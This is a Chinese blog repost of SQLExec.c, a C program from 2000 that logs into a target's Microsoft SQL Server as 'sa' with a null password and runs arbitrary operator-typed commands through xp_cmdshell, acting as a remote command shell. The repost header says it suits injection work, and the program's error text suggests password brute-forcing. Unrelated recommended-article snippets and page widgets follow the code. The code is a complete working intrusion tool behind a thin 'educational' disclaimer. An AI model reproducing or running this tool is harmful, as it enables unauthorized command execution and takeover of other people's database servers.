SQLExec.c

SQL_EXEC_命令用法 SQL_EXEC_命令用法,做注入的可以用 立即下载
 

/******************************************************************
SQLExec.c
This file is for educational purposes only.
If you are planning to use it for another purpose
use it with your own responsibility.I have no responsibility.
It is written in Visual C++ 6.0.
It depends on the stored proc. xp_cmdshell.By default SQL server
is installed with Adminisrative privilege.So it executes command as
Administrator.It can be used either locally or remotely(Only if port 1433 is open)
It uses default sa account with NULL password.But this can be modified easily.
USAGE : SQLExec www.target.com
Copyright (c) 2000,Egemen Tas egemen@btkom.com or egement@karyde.com.tr
Feel free to contact with me at these mail.
*******************************************************************/
#include <stdio.h>
#include <windows.h>
#include <wchar.h>
#include <sql.h>
#include <sqlext.h>
#include <lmcons.h>
int main(int argc, char *argv[])
{
SQLCHAR Host[512]="";
SQLCHAR *User=";UID=sa";
SQLCHAR *Pass=";PWD=";
SQLCHAR *Database="";
SQLCHAR InConnectionString[1025]="";
SQLCHAR rowBuff[200]="";
SQLINTEGER   iRowBuff;
UCHAR Query[1500]="";
UCHAR Cmd[300]="";
char inBuff[1025]="";
SQLRETURN nResult;
SWORD     sLen;
SQLHDBC   hDbc;
HSTMT hStmt;
SQLHANDLE hEnvironment;
int retries = 0;
    if(argc !=2)
{
   printf("/n/n-------------SQLExec 1.0 for Windows NT/2K/9X-------------/n/nBy Egemen Tas (Send all feedbacks and bug reports to egemen@btkom.com)/n/n");
   printf("/nUsage : SQLExec <Hostname> /n!!!!(Do not use ip addresses of targets)!!!!/n");
   return 0;
}
printf("/n/n-------------SQLExec 1.0 for Windows NT/2K/9X----------------/n/nBy Egemen Tas (Send all feedbacks and bug reports to egemen@btkom.com)/n/n");
memset(Query,0,1499);
strcpy(Host,argv[1]);
sprintf(InConnectionString,"DRIVER={SQL Server};SERVER=%s%s%s%s",Host,User,Pass,Database);
if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&hEnvironment) != SQL_SUCCESS)
{
   printf("SQLAllocHandle returned an error!/n");
   return 0;
}
if (SQLSetEnvAttr(hEnvironment, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)
{
   printf("SQLSetEnvAttr returned an error!/n");
   return 0;
}
if ((nResult = SQLAllocHandle(SQL_HANDLE_DBC,hEnvironment,(SQLHDBC FAR*)&hDbc)) != SQL_SUCCESS)
{
   printf("SQLAllocHandle returned an error!/n");
   return 0;
}
while(retries < 4)
{
   nResult = SQLDriverConnect(hDbc,NULL, InConnectionString,strlen(InConnectionString),inBuff, 1024, &sLen,SQL_DRIVER_COMPLETE_REQUIRED);
   if(nResult == SQL_SUCCESS || nResult == SQL_SUCCESS_WITH_INFO)
   {
    printf("Ok.You have connected to MASTER database.../n");
    SQLAllocStmt(hDbc,&hStmt);
    break;
   }
   else
   {
    if(retries == 3)
    {
     printf("/nCould not connect to the SQL Server on the target!/n/nMake sure you use !!HOSTNAME NOT IP!!/n"
      "If you are using dial-up connection retry for a few times./n"
      "If you are sure that SQL server is installed on the target check that port 1433 is open./n"
      "If port 1433 is open and you have tried several times to connect, then probably SA does not have a NULL password./n"
      "Get a SQL server brute force cracker , try to hack passwords and try again./n"
      "If you are a script kiddy then go (www.technotronic.com or packetstorm.securify.com) , find some documents , read them at least 1 year and try again.:))");
     return 0;
    }
    retries++;
    printf("Performing retry(%d).../n",retries);
    Sleep(5000);
   }
}
while(1)
{

printf("Now type dos command(s) to execute :");
fgets(Cmd,299,stdin);
Cmd[strlen(Cmd)-1]='/0';
sprintf(Query,"EXEC master..xp_cmdshell /"%s/"",Cmd);
printf("Trying to execute %s on the target/n",Cmd);
if(SQLExecDirect(hStmt,Query,SQL_NTS) != SQL_SUCCESS)
{
   printf("An error occured while performing your query."
    "This does not mean that your command is unsuccesfull.../n"
    "Check the result.If it didnt work then /n"
    "make sure you did not use duplicate keywords with ODBC api/n or the target does not have ' xp_cmdshell ' stored procedure.");
   return 0;
}
while (nResult != SQL_ERROR)
{
   memset(rowBuff,0,99);
   nResult = SQLFetch(hStmt);
   if (nResult == SQL_ERROR || nResult == SQL_SUCCESS_WITH_INFO)
   {
    printf("Error while fething the results from the stored proc./n");
   }
   if (nResult == SQL_SUCCESS || nResult == SQL_SUCCESS_WITH_INFO){
    SQLGetData(hStmt, 1, SQL_C_CHAR, rowBuff, 100, &iRowBuff);
    printf("%s /n",rowBuff);
   } else
   {
    break;
   }
}

}
SQLFreeHandle(SQL_HANDLE_DBC,&hDbc);
SQLFreeHandle(SQL_HANDLE_ENV,&hEnvironment);
SQLFreeHandle(SQL_HANDLE_STMT,&hStmt);
return 0;
}

Python3 ACM模式输入输出全攻略:从牛客网到华为机试的实战技巧 本文详细解析了Python3在ACM模式下的输入输出处理技巧,针对牛客网、华为机试等在线评测系统。文章从input()函数本质出发,总结了六种高频输入模式的处理模板,并提供了链表、二叉树等数据结构的I/O实战方案,最后给出性能优化与常见避坑指南,帮助开发者高效应对算法笔试。 阅读详情

相关推荐

告别“单打独斗”:Oh My Open Code 如何用多模型协作重塑 AI 编程范式

介绍"Oh My OpenCode"——一个能协调多个专业AI模型完成复杂开发任务的智能编程框架。您将看到它如何分配任务、发挥不同模型的独特优势,并通过并行处理和实时纠错等功能解决AI编程流程中的常见痛点。

老孙 | Ethan Sun 的博客:AI 智能体与 AI 原生软件的工程实践 4214

java sqlexec_java如何执行sql脚本并传参

如下所示,利用ant.jar实现连接oracle数据库并执行sql脚本,但是如果我的sql脚本是带传入参数的(例如通过sqlplus是这样执行:sqlplus user/password@db @test.sql A B C),貌似ant.jar中并不支持脚本传参,不知道有什么好的方法?public static void main(String[] args) {SQLExec sqlExec ...

weixin_39758229的博客 386

MATLAB仿真耗散孤子共振与金兹堡-朗道方程解析

耗散孤子共振(DSR)是非线性光学中的特殊脉冲现象,通过平衡非线性效应、色散与能量耗散实现稳定传输。其核心数学模型金兹堡-朗道方程(GLE)描述了光脉冲在增益介质中的演化规律,采用分步傅里叶方法(SSFM)可高效求解这类非线性偏微分方程。该技术在光纤激光器设计、高速光通信系统优化等领域具有重要价值,特别是在需要高能量脉冲保持稳定传输的场景。MATLAB数值仿真为理解DSR物理机制提供了直观工具,通过参数扫描可验证脉冲能量与宽度的线性关系特征,并为实际器件设计提供预测依据。

weixin_31240035的博客 259

Oracle GoldenGate 12c中的协同交付(Coordinated Delivery)

OGG 12c中,并行交付有2种模式:集成交付、协同交付。不过集成交付只能针对目标端是oracle数据库(有版本要求)使用,而协同交付则可以在非oracle数据库上使用。 先来看2个问题, l为什么需要协同交付? l什么是协同交付? 为什么需要协同交付? 在OGG12.1.2之前,如果在目标端碰上性能问题,延迟厉害 ,一般的做法是将交付进程拆分为几个。拆分的方式有...

weixin_30393907的博客 164

Cadence仿真数字电路功耗

Cadence仿真数字电路功耗 数字电路的功耗采用平均电流乘电源电压获得,所以本文的关键是测量平均电流。 仿真前设置好仿真参数后,在仿真的ADE街边选择:outputs➡to be saved➡select on design 选择电源的负端电流(若选择正端,则电流为负): 选择完成后,在ADE界面讲所选节点的plot也勾选上,点击run。仿真完成后自动显示波形。在波形上选中该电流曲线,右击选择:send to➡calculator 注意上图中,商店前的波形不稳定,需要进行截取。在calculator

qq_41519780的博客 1万+

手把手拆解:储能电站如何实现‘孤岛运行’与‘黑启动’?从SVPWM控制到无缝并网

本文深入解析储能电站的孤岛运行与黑启动技术,从SVPWM控制策略到电网重构实战。通过详细的三环控制架构和黑启动五阶段技术路线,展示储能电站在电网故障时如何快速切换为独立电压源并实现电网重建。文章还探讨了虚拟惯量补偿、多站协同控制等前沿技术,为电力系统应急恢复提供关键解决方案。

weixin_30509393的博客 307

查询oracle00900,java - 从java运行Oracle sql脚本会产生SQLSyntaxErrorException:ORA-00900:无效的SQL语句 - 堆栈内存溢出...

我使用的是Oracle 11g,我正在通过java代码执行Oracle sql脚本。 我的SQL脚本可能包含SQL语句(DDL或DML)或PL / SQL块,因此我不想在我的java代码中解析脚本,而是使用此解决方案立即执行完整脚本。 以下是示例代码,其中SQLExec类位于ant jar 。此解决方案适用于大多数情况,但如果sql脚本包含create or replace trigger则会...

weixin_31703351的博客 1669

HTOL集成电路老化测试学习总结-20250510

电子元器件的可靠性在产品开发中至关重要,尤其是在微电子技术迅速发展的今天。电子元器件的失效率通常遵循“浴盆曲线”,分为早期失效期、可使用期和老化期。为了评估芯片的可靠性,常采用高温操作寿命测试(HTOL),通过高温和高压加速芯片老化,以筛选出早期失效的芯片并评估其长期可靠性。HTOL测试中,芯片在高温下运行并监控其性能变化,通过阿伦尼乌斯公式计算加速因子,预测芯片的失效率和寿命。此外,Burn-in测试用于加速芯片老化,提前发现并剔除不合格产品,而早期失效率测试(ELFR)则用于评估产品初期使用阶段的可靠性

歌颂苦难的行为是无耻的; 2106

c++ 读写oracle数据,【C/C++学院】(25)Oracle数据库编程

一、oracle中事务的概念在oracle当中,所有对表的修改,都是在一个事务当中(事务就像一个内存的buffer一样)提交事务的语句commit;放弃事务rollback;原则:orac一、oracle中事务的概念在oracle当中,所有对表的修改,都是在一个事务当中(事务就像一个内存的buffer一样)提交事务的语句commit;放弃事务rollback;原则:oracle所有对表的修改都是在...

weixin_28695903的博客 719

“守望先锋”网络同步分析

守望先锋”(Overwatch)是一款由暴雪娱乐开发的团队基础第一人称射击游戏(FPS),于2016年正式发布。游戏以其独特的角色设计、丰富的游戏模式和高度的团队合作性而受到广泛欢迎。类型:第一人称射击(FPS)/多人在线战斗竞技场(MOBA元素)平台玩家人数:每场比赛由两个六人队伍组成,共12名玩家。客户端/服务器模型:在这种模型中,客户端负责处理用户输入和表现逻辑,而服务器则负责游戏的核心逻辑和状态管理。客户端与服务器之间通过网络进行通信,确保游戏状态的一致性。强同步机制。

本博客聚焦游戏开发技巧、创业实战心得及大学热门课程干货。这里既有技术深度,也有思维广度,无论你是开发者、创业者还是高校学子,都能在这里找到适合自己的成长之路! 432

【Matlab】matlab代码实现迭代学习控制

该文介绍了在Matlab中实现迭代学习控制(ILC)的方法。ILC通过利用历史轨迹数据来优化重复任务的控制性能。文章提供了一个步进电机控制示例,包括:1)定义正弦轨迹;2)设置100次迭代和0.1学习率;3)建立二阶系统模型;4)执行ILC算法计算控制输入;5)绘制期望轨迹与实际输出的对比图。该示例展示了ILC的基本实现过程,并指出实际应用可能需要更复杂的设计。代码演示了误差计算、控制输入更新和结果可视化等关键步骤。

unber的博客 201

C/S

1.CLIENT/SERVER 到底是什么?  C/S属于2-TIER系统,适合于中小型应用系统。大系统一般都用3-TIER了。  打个比方单机数据库系统(比如VFP), 相当于前店后库.店里需要什么东西,得自己去库房找,库房管理也是有你自己进行. 而C/S系统下,店和库是相对独立的,有一个专门的库房管理(数据SERVER),店里需要什么,按照手续把单子给  库房管理人员,由他们去操作.  因此可

andytakwhalin的专栏 332

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

oracle12c configured Integrated REPLICAT mode

转载信息 标题: oracle12c configured Integrated REPLICAT mode 链接: http://www.traveldba.com/?p=587 oracle12c configured Integrated REPLICAT mode 配置 GGSCI (localhost.localdomain) 2> start mgr Manag

dbatravel的专栏 2766

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

ssm框架搭建

这个是一个在idea上成功跑起来的ssm框架项目,保存在这里方便以后使用直接下载

谈谈VFP和SQL SERVER搭配做C/S系统方案

谈谈VFP和SQL SERVER搭配做C/S系统方案(转载)1.CLIENT/SERVER 到底是什么?  C/S属于2-TIER系统,适合于中小型应用系统。大系统一般都用3-TIER了。  打个比方单机数据库系统(比如VFP), 相当于前店后库.店里需要什么东西,得自己去库房找,库房管理也是有你自己进行. 而C/S系统下,店和库是相对独立的,有一个专门的库房管理(数据SERVER),店里

hylang的专栏 1821

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

oracle ogg 数据测试,OGG之COLMAP实验讲解系列

实验一.表结构不一致情况下的使用COLMAP进行结构映射环境准备:实验环境简单化一些,本机模拟源-目标端,无需DATA PUMP进程GGSCI (tianbaobao.ht8888.ht3as ogg@dbsource) 30> view param ext2extract ext2SETENV (ORACLE_SID="dbsource")SETENV (NLS_LANG=AMERICAN...

weixin_39586395的博客 1176

谈谈VFP和SQL SERVER搭配做C/S系统

如果你的表经常需要插入记录, 选择适当的FILLFACTOR就很重要了. 如果总是用100%, 当你插入一个新记录时, 由于每页都是满的, 就需要进行分页操作(把当前页分成2页),频繁的分页操作会占用服务器的资源和时间,也降低索引文件的效率. 而如果你的FILLFACTOR不是100%,比如设为80%, 在插入新记录时,由于当前页还有空间, 可以直接加入不需要分页. 当然, FILLFACTOR太低也会降低效率,因为那样的话,页数就多了,搜索数据用的时间长,占用空间也多.TmpEmp.cEmpNo,?

加菲猫的VFP 121

c/s

VFP是一种直接面向数据的快速开发工具,在信息系统中有着广泛的应用。 由于VFP命令本身就是为操纵数据设计的语言,所以在操作数据方面显得非常高效和轻松。 但是VFP缺点和它的优点一样明显,VFP本身安全性不高,且不支持其他远程的VFP数据库。所以现在越来越多的VFP开发者开始使用SPT接口,通过SPT接口,可以利用其他数据库的安全和性能优势,再结合VFP自身的操纵数据的优势,来快速进行C/S应用程

andytakwhalin的专栏 478

VFP和SQL SERVER搭配做C/S系统

这个话题比较大,我现在上班闲着没事,把自己能想到的整理一下。我做VFP和SQL SERVER的C/S系统有3年了,现在刚得到DBA的职位,以后可能管理数据库的时候多些了。 1.CLIENT/SERVER 到底是什么? C/S属于2-TIER系统,适合于中小型应用系统。大系统一般都用3-TIER了。 打个比方单机数据库系统,相当于前店后库.店里需要什么东西,得自己去库房找,库房管理也...

weixin_34375251的博客 572

【C/C++学院】(25)Oracle数据库编程--proc编程

一、oracle中事务的概念 在oracle当中,所有对表的修改,都是在一个事务当中(事务就像一个内存的buffer一样) 提交事务的语句 commit; 放弃事务 rollback; 原则: oracle所有对表的修改都是在事务当中,并不会直接修改到表。只有执行了commit或者rollback再生效...

weixin_34218890的博客 238

sqlleui.dll sqlle.dll sqlite.interop.dll sqlite.dll sqlimage.dll sqlgui.rll sqlexec.exe

以上只是通用的运行库dll处理方式,如果你遇到缺失文件是第三方的软件文件,那么就需要下载到属于这个程序所匹配的版本的文件,然后将这个文件复制到这个程序的安装目录下才能解决问题。如果我们遇到关于文件在系统使用过程中提示缺少找不到的情况,如果文件是属于运行库文件的可以单独下载文件解决,但还是建议安装完整的运行库,可以尝试采用手动下载替换的方法解决问题!文件下载完成后,下方列表会有很多个不同版本的文件,这里所有文件都是免费可下载的,我们根据自己所需要的版本文件,点击右边的“打开”,这样就找到了下载的文件。

2508_92340559的博客 252

关于shared pool的深入探讨(六)

关于shared pool的深入探讨(六) 原文链接: http://www.eygle.com/internal/shared_pool-6.htm 研究了几天shared pool,没想到忽然就撞到问题上来了.作为一个案例写出来给大家参考一下吧. 问题起因是公司做短信群发,就是那个18万买的4000字的短信小说.群发的时候每隔一段时间就会发生一次消息队列拥堵的情况在数据库内部实际上是向...

数据库天地 98

在VFP上使用DM数据库

文章来自达梦技术社区http://bbs.dameng.com/   VFP是一种直接面向数据的快速开发工具,在信息系统中有着广泛的应用。   由于VFP命令本身就是为操纵数据设计的语言,所以在操作数据方面显得非常高效和轻松...

cuguw64426的博客 387
上一篇: EPO 入口点模糊技术
下一篇: 一种躲避运行时代码校验的方法
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值